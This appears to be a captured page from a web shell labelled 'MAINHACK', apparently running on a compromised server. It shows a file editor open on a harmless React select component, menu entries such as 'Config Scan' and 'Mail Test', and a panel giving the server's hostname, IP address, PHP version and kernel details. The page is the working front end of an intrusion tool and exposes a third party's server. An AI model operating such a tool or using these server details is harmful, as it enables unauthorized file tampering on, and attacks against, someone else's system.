[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: select.js
export default function Select( props ) { return ( <select multiple={ props.multiple } className={ props.className } value={ props.value } onChange={ props.onChange } ref={ props.elRef } onClick={ () => props.onClick?.() }> { props.options.map( ( option ) => option.children ? <optgroup label={ option.label } key={ option.label }> { option.children.map( ( childOption ) => <option key={ childOption.value } value={ childOption.value }> { childOption.label } </option>, ) } </optgroup> : <option key={ option.value } value={ option.value }> { option.label } </option>, ) } </select> ); } Select.propTypes = { className: PropTypes.string, onChange: PropTypes.func, options: PropTypes.array, elRef: PropTypes.object, multiple: PropTypes.bool, value: PropTypes.oneOfType( [ PropTypes.array, PropTypes.string ] ), onClick: PropTypes.func, }; Select.defaultProps = { className: '', options: [], };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.dijitaldukkanim.com.tr
Server IP: 104.247.168.220
PHP Version: 8.1.33
Server Software: Apache
System: Linux server.dijitaldukkanim.com.tr 4.18.0-553.105.1.el8_10.x86_64 #1 SMP Tue Feb 17 05:17:39 EST 2026 x86_64
HDD Total: 492.3 GB
HDD Free: 180.53 GB
Domains on IP: N/A (Requires external lookup)
System Features